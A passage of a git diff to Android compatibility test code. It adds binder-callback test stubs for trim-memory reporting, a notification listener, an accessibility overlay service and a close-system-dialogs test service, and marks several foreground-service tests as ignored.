+++ b/tests/app/app/src/android/app/stubs/SimpleActivity.java
@@ -19,14 +19,25 @@
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
 
 /**
  * A simple activity to install for various users to test LauncherApps.
  */
 public class SimpleActivity extends Activity {
+    private IBinder mCallback;
+
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
+
+        final Intent intent = getIntent();
+        final Bundle extras = intent.getExtras();
+        if (extras != null) {
+            mCallback = extras.getBinder(CommandReceiver.EXTRA_CALLBACK);
+        }
     }
 
     @Override
@@ -35,6 +46,22 @@
     }
 
     @Override
+    public void onTrimMemory(int level) {
+        if (mCallback != null) {
+            final Parcel data = Parcel.obtain();
+            final Parcel reply = Parcel.obtain();
+            data.writeInt(level);
+            try {
+                mCallback.transact(IBinder.FIRST_CALL_TRANSACTION, data, reply, 0);
+            } catch (RemoteException e) {
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+    }
+
+    @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
         if (intent.getExtras().getBoolean("finish")) {
diff --git a/tests/app/app/src/android/app/stubs/TestNotificationListener.java b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
index a960403..14d5416 100644
--- a/tests/app/app/src/android/app/stubs/TestNotificationListener.java
+++ b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
@@ -16,15 +16,16 @@
 package android.app.stubs;
 
 import android.content.ComponentName;
+import android.os.ConditionVariable;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
-import android.util.Log;
 
 import java.util.ArrayList;
 
 public class TestNotificationListener extends NotificationListenerService {
     public static final String TAG = "TestNotificationListener";
     public static final String PKG = "android.app.stubs";
+    private static final long CONNECTION_TIMEOUT_MS = 1000;
 
     private ArrayList<String> mTestPackages = new ArrayList<>();
 
@@ -32,6 +33,16 @@
     public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
     public RankingMap mRankingMap;
 
+    /**
+     * This controls whether there is a listener connected or not. Depending on the method, if the
+     * caller tries to use a listener after it has disconnected, NMS can throw a SecurityException.
+     *
+     * There is no race between onListenerConnected() and onListenerDisconnected() because they are
+     * called in the same thread. The value that getInstance() sees is guaranteed to be the value
+     * that was set by onListenerConnected() because of the happens-before established by the
+     * condition variable.
+     */
+    private static final ConditionVariable INSTANCE_AVAILABLE = new ConditionVariable(false);
     private static TestNotificationListener sNotificationListenerInstance = null;
     boolean isConnected;
 
@@ -55,16 +66,22 @@
     public void onListenerConnected() {
         super.onListenerConnected();
         sNotificationListenerInstance = this;
+        INSTANCE_AVAILABLE.open();
         isConnected = true;
     }
 
     @Override
     public void onListenerDisconnected() {
+        INSTANCE_AVAILABLE.close();
+        sNotificationListenerInstance = null;
         isConnected = false;
     }
 
     public static TestNotificationListener getInstance() {
-        return sNotificationListenerInstance;
+        if (INSTANCE_AVAILABLE.block(CONNECTION_TIMEOUT_MS)) {
+            return sNotificationListenerInstance;
+        }
+        return null;
     }
 
     public void resetData() {
@@ -72,6 +89,14 @@
         mRemoved.clear();
     }
 
+    public void addTestPackage(String packageName) {
+        mTestPackages.add(packageName);
+    }
+
+    public void removeTestPackage(String packageName) {
+        mTestPackages.remove(packageName);
+    }
+
     @Override
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (sbn == null || !mTestPackages.contains(sbn.getPackageName())) { return; }
diff --git a/tests/app/app/src/android/app/stubs/TrimMemService.java b/tests/app/app/src/android/app/stubs/TrimMemService.java
new file mode 100644
index 0000000..0c9d362
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/TrimMemService.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import java.util.concurrent.CountDownLatch;
+
+public class TrimMemService extends Service {
+    private static final int COMMAND_TRIM_MEMORY_LEVEL = IBinder.FIRST_CALL_TRANSACTION;
+    private Binder mRemote = new Binder();
+    private IBinder mCallback;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        final Bundle extras = intent.getExtras();
+        mCallback = extras.getBinder(CommandReceiver.EXTRA_CALLBACK);
+        return mRemote;
+    }
+
+    @Override
+    public void onTrimMemory(int level) {
+        if (mCallback != null) {
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            data.writeInt(level);
+            try {
+                mCallback.transact(COMMAND_TRIM_MEMORY_LEVEL, data, reply, 0);
+            } catch (RemoteException e) {
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+    }
+
+    private static class MyMemFactorCallback extends Binder {
+        private CountDownLatch[] mLatchHolder;
+        private int[] mLevelHolder;
+
+        MyMemFactorCallback(CountDownLatch[] latchHolder, int[] levelHolder) {
+            mLatchHolder = latchHolder;
+            mLevelHolder = levelHolder;
+        }
+
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case COMMAND_TRIM_MEMORY_LEVEL:
+                    mLevelHolder[0] = data.readInt();
+                    mLatchHolder[0].countDown();
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    }
+
+    private static class MyServiceConnection implements ServiceConnection {
+        private CountDownLatch mLatch;
+
+        MyServiceConnection(CountDownLatch latch) {
+            mLatch = latch;
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+    }
+
+    public static ServiceConnection bindToTrimMemService(String packageName, String instanceName,
+            CountDownLatch[] latchHolder, int[] levelHolder, Context context) throws Exception {
+        final Intent intent = new Intent();
+        intent.setClassName(packageName, "android.app.stubs.TrimMemService");
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK,
+                new MyMemFactorCallback(latchHolder, levelHolder));
+        intent.putExtras(extras);
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MyServiceConnection conn = new MyServiceConnection(latch);
+        context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY,
+                instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+        latch.await();
+        return conn;
+    }
+}
+
diff --git a/tests/app/shared/Android.bp b/tests/app/shared/Android.bp
new file mode 100644
index 0000000..4aca70d
--- /dev/null
+++ b/tests/app/shared/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_library {
+    name: "CtsAppTestStubsShared",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "kotlin-test",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+        "src/**/*.aidl",
+    ],
+    platform_apis: true,
+    min_sdk_version: "14",
+}
diff --git a/tests/app/shared/AndroidManifest.xml b/tests/app/shared/AndroidManifest.xml
new file mode 100644
index 0000000..247a2a8
--- /dev/null
+++ b/tests/app/shared/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.stubs.shared">
+    <application>
+        <service
+            android:name="android.app.stubs.shared.CloseSystemDialogsTestService"
+            android:exported="true" />
+
+        <service
+            android:name=".AppAccessibilityService"
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/tests/app/shared/README.md b/tests/app/shared/README.md
new file mode 100644
index 0000000..26bfe61
--- /dev/null
+++ b/tests/app/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test (CtsAppTestCases) and the apps (CtsAppTestStubs,
+CtsAppTestStubsAppN)
diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
new file mode 100644
index 0000000..7c34e70
--- /dev/null
+++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts
+
+import android.R
+import android.app.stubs.shared.NotificationHostActivity
+import android.content.Intent
+import android.test.AndroidTestCase
+import android.view.View
+import android.widget.ImageView
+import android.widget.RemoteViews
+import androidx.annotation.DimenRes
+import androidx.annotation.IdRes
+import androidx.lifecycle.Lifecycle
+import androidx.test.core.app.ActivityScenario
+import androidx.test.core.app.ActivityScenario.ActivityAction
+
+open class NotificationTemplateTestBase : AndroidTestCase() {
+
+    protected fun checkIconView(views: RemoteViews, iconCheck: (ImageView) -> Unit) {
+        checkViews(views) { activity ->
+            iconCheck(requireViewByIdName(activity, "right_icon"))
+        }
+    }
+
+    protected fun checkViews(
+        views: RemoteViews,
+        @DimenRes heightDimen: Int? = null,
+        activityAction: ActivityAction<NotificationHostActivity>
+    ) {
+        val activityIntent = Intent(context, NotificationHostActivity::class.java)
+        activityIntent.putExtra(NotificationHostActivity.EXTRA_REMOTE_VIEWS, views)
+        heightDimen?.also {
+            activityIntent.putExtra(NotificationHostActivity.EXTRA_HEIGHT,
+                    context.resources.getDimensionPixelSize(it))
+        }
+        ActivityScenario.launch<NotificationHostActivity>(activityIntent).also { scenario ->
+            scenario.moveToState(Lifecycle.State.RESUMED)
+            scenario.moveToState(Lifecycle.State.STARTED)
+            scenario.moveToState(Lifecycle.State.CREATED)
+            scenario.onActivity(activityAction)
+            scenario.moveToState(Lifecycle.State.DESTROYED)
+        }
+    }
+
+    protected fun makeCustomContent(): RemoteViews {
+        val customContent = RemoteViews(mContext.packageName, R.layout.simple_list_item_1)
+        val textId = getAndroidRId("text1")
+        customContent.setTextViewText(textId, "Example Text")
+        return customContent
+    }
+
+    protected fun <T : View> requireViewByIdName(
+        activity: NotificationHostActivity,
+        idName: String
+    ): T {
+        val viewId = getAndroidRId(idName)
+        return activity.notificationRoot.findViewById<T>(viewId)
+                ?: throw NullPointerException("No view with id: android.R.id.$idName ($viewId)")
+    }
+
+    protected fun <T : View> findViewByIdName(
+        activity: NotificationHostActivity,
+        idName: String
+    ): T? = activity.notificationRoot.findViewById<T>(getAndroidRId(idName))
+
+    @IdRes
+    protected fun getAndroidRId(idName: String): Int =
+            mContext.resources.getIdentifier(idName, "id", "android")
+}
\ No newline at end of file
diff --git a/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java b/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java
new file mode 100644
index 0000000..b3c3fb1
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/AppAccessibilityService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.accessibilityservice.AccessibilityService;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.PixelFormat;
+import android.os.ConditionVariable;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.view.accessibility.AccessibilityEvent;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+
+/** Accessibility service that posts a window as soon as it's enabled. */
+public class AppAccessibilityService extends AccessibilityService {
+    private static final int BACKGROUND_COLOR = 0xFFFF0000;
+    private static volatile CompletableFuture<AppAccessibilityService> sServiceFuture =
+            new CompletableFuture<>();
+
+    public static Future<AppAccessibilityService> getConnected() {
+        return sServiceFuture;
+    }
+
+    private WindowManager mWindowManager;
+    private View mView;
+
+    /**
+     * This doesn't need to be volatile because of the inner sync barriers of sServiceFuture. It's
+     * set before sServiceFuture.obtrudeValue() and read after sServiceFuture.get().
+     */
+    private ConditionVariable mWindowAdded;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+    }
+
+    /** Always call after {@link #getConnected()}}. */
+    public boolean waitWindowAdded(long timeoutMs) {
+        return mWindowAdded.block(timeoutMs);
+    }
+
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {}
+
+    @Override
+    public void onInterrupt() {}
+
+    @Override
+    protected void onServiceConnected() {
+        mWindowAdded = new ConditionVariable();
+        sServiceFuture.obtrudeValue(this);
+        mView = new CustomView(this);
+        mView.setBackgroundColor(BACKGROUND_COLOR);
+        LayoutParams params =
+                new LayoutParams(
+                        200,
+                        200,
+                        LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
+                        LayoutParams.FLAG_NOT_TOUCH_MODAL,
+                        PixelFormat.TRANSLUCENT);
+        mWindowManager.addView(mView, params);
+    }
+
+    @Override
+    public void onDestroy() {
+        sServiceFuture = new CompletableFuture<>();
+        if (mView != null) {
+            mWindowManager.removeViewImmediate(mView);
+        }
+    }
+
+    private class CustomView extends View {
+        CustomView(Context context) {
+            super(context);
+        }
+        @Override
+        protected void onDraw(Canvas canvas) {
+            super.onDraw(canvas);
+            mWindowAdded.open();
+        }
+    }
+}
+
diff --git a/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
new file mode 100644
index 0000000..9689f7c
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import static android.app.PendingIntent.FLAG_IMMUTABLE;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.app.IActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IBinder;
+import android.os.ParcelableException;
+import android.os.RemoteException;
+import android.os.ResultReceiver;
+import android.os.ServiceManager;
+import android.view.IWindowManager;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * This is a bound service used in conjunction with CloseSystemDialogsTest.
+ */
+public class CloseSystemDialogsTestService extends Service {
+    private static final String TAG = "CloseSystemDialogsTestService";
+    private static final String NOTIFICATION_ACTION = TAG;
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+
+    private final ICloseSystemDialogsTestsService mBinder = new Binder();
+    private NotificationManager mNotificationManager;
+    private IWindowManager mWindowManager;
+    private IActivityManager mActivityManager;
+    private BroadcastReceiver mNotificationReceiver;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mNotificationManager = getSystemService(NotificationManager.class);
+        mWindowManager = IWindowManager.Stub.asInterface(
+                ServiceManager.getService(Context.WINDOW_SERVICE));
+        mActivityManager = IActivityManager.Stub.asInterface(
+                ServiceManager.getService(Context.ACTIVITY_SERVICE));
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder.asBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mNotificationReceiver != null) {
+            unregisterReceiver(mNotificationReceiver);
+        }
+    }
+
+    private class Binder extends ICloseSystemDialogsTestsService.Stub {
+        private final Context mContext = CloseSystemDialogsTestService.this;
+
+        @Override
+        public void sendCloseSystemDialogsBroadcast() {
+            mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+        }
+
+        @Override
+        public void postNotification(int notificationId, ResultReceiver receiver) {
+            mNotificationReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+                        receiver.send(RESULT_OK, null);
+                    } catch (SecurityException e) {
+                        receiver.send(RESULT_SECURITY_EXCEPTION, null);
+                    }
+                }
+            };
+            mContext.registerReceiver(mNotificationReceiver, new IntentFilter(NOTIFICATION_ACTION));
+            Intent intent = new Intent(NOTIFICATION_ACTION);
+            intent.setPackage(mContext.getPackageName());
+            CloseSystemDialogsTestService.this.notify(
+                    notificationId,
+                    PendingIntent.getBroadcast(mContext, 0, intent, FLAG_IMMUTABLE));
+        }
+
+        @Override
+        public void closeSystemDialogsViaWindowManager(String reason) throws RemoteException {
+            mWindowManager.closeSystemDialogs(reason);
+        }
+
+        @Override
+        public void closeSystemDialogsViaActivityManager(String reason) throws RemoteException {
+            mActivityManager.closeSystemDialogs(reason);
+        }
+
+        @Override
+        public boolean waitForAccessibilityServiceWindow(long timeoutMs) throws RemoteException {
+            final AppAccessibilityService service;
+            try {
+                service = AppAccessibilityService.getConnected().get(timeoutMs, MILLISECONDS);
+            } catch (TimeoutException e) {
+                return false;
+            } catch (ExecutionException | InterruptedException e) {
+                throw new ParcelableException(e);
+            }
+            return service.waitWindowAdded(timeoutMs);
+        }
+    }
+
+    private void notify(int notificationId, PendingIntent intent) {
+        Notification notification =
+                new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.drawable.ic_info)
+                        .setContentIntent(intent)
+                        .build();
+        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(notificationChannel);
+        mNotificationManager.notify(notificationId, notification);
+    }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/FakeView.java b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
new file mode 100644
index 0000000..6843d6a
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.content.Context;
+import android.view.View;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class FakeView extends View {
+    private static final int BACKGROUND_COLOR = 0xFFFFFF00;
+    private final BlockingQueue<String> mCalls = new ArrayBlockingQueue<>(3);
+
+    public FakeView(Context context) {
+        super(context);
+        setBackgroundColor(BACKGROUND_COLOR);
+    }
+
+    @Override
+    public void onCloseSystemDialogs(String reason) {
+        mCalls.add(reason);
+    }
+
+    public String getNextCloseSystemDialogsCallReason(long timeoutMs) throws InterruptedException {
+        return mCalls.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
new file mode 100644
index 0000000..7270fb1
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.os.ResultReceiver;
+
+interface ICloseSystemDialogsTestsService {
+    void sendCloseSystemDialogsBroadcast();
+    void closeSystemDialogsViaWindowManager(String reason);
+    void closeSystemDialogsViaActivityManager(String reason);
+    boolean waitForAccessibilityServiceWindow(long timeoutMs);
+
+    const int RESULT_OK = 0;
+    const int RESULT_SECURITY_EXCEPTION = 1;
+
+    /**
+     * Posts a notification with id {@code notificationId} with a broadcast pending intent, then in
+     * that pending intent sends {@link android.content.Intent#ACTION_CLOSE_SYSTEM_DIALOGS}.
+     *
+     * The caller is responsible for trigerring the notification. The passed in {@code receiver}
+     * will be called once the intent has been sent.
+     */
+    void postNotification(int notificationId, in ResultReceiver receiver);
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt b/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt
new file mode 100644
index 0000000..d84758f
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs.shared
+
+import android.R
+import android.app.Activity
+import android.os.Bundle
+import android.view.View
+import android.widget.FrameLayout
+import android.widget.FrameLayout.LayoutParams
+import android.widget.RemoteViews
+
+class NotificationHostActivity : Activity() {
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        val views = (intent.getParcelableExtra(EXTRA_REMOTE_VIEWS) as RemoteViews?)!!
+        val height = intent.getIntExtra(EXTRA_HEIGHT, LayoutParams.WRAP_CONTENT)
+        setContentView(FrameLayout(this).also {
+            val child = views.apply(this, it)
+            it.id = R.id.content
+            it.addView(child, LayoutParams(LayoutParams.MATCH_PARENT, height))
+        })
+    }
+
+    val notificationRoot: View
+        get() = requireViewById<FrameLayout>(R.id.content).getChildAt(0)
+
+    companion object {
+        const val EXTRA_REMOTE_VIEWS = "remote_views"
+        const val EXTRA_HEIGHT = "height"
+    }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 28611c5..0cbe497 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -53,6 +53,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -70,7 +71,6 @@
  * when the process is in background state.
  */
 @RunWith(AndroidJUnit4.class)
-//@Suppress
 public class ActivityManagerApi29Test {
     private static final String PACKAGE_NAME = "android.app.cts.activitymanager.api29";
     private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
@@ -174,6 +174,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testTopActivityWithAppOps() throws Exception {
         startSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -200,6 +202,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testFgsLocationWithAppOps() throws Exception {
         // Start a foreground service with location
         startSimpleService();
@@ -238,6 +242,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testAppOpsHistoricalOps() throws Exception {
         runWithShellPermissionIdentity(
                 () ->  sAppOps.setHistoryParameters(AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
@@ -302,6 +308,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testCameraWithAppOps() throws Exception {
         startSimpleService();
         // Wait for state and capability change.
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index c982cd6..6dcd647 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -18,19 +18,49 @@
 
 import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
 import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
+import static android.os.PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED;
+import static android.os.PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.accessibilityservice.AccessibilityService;
+import android.app.ActivityManager;
+import android.app.BroadcastOptions;
 import android.app.Instrumentation;
 import android.app.cts.android.app.cts.tools.WaitForBroadcast;
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.CommandReceiver;
 import android.app.stubs.LocalForegroundServiceLocation;
+import android.content.ComponentName;
 import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.ServiceInfo;
 import android.os.Bundle;
-import android.test.InstrumentationTestCase;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.permission.cts.PermissionUtils;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
 
-public class ActivityManagerFgsBgStartTest extends InstrumentationTestCase {
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerFgsBgStartTest {
     private static final String TAG = ActivityManagerFgsBgStartTest.class.getName();
 
     private static final String STUB_PACKAGE_NAME = "android.app.stubs";
@@ -42,33 +72,71 @@
     private static final String ACTION_START_FGSL_RESULT =
             "android.app.stubs.LocalForegroundServiceLocation.RESULT";
 
+    private static final String KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED =
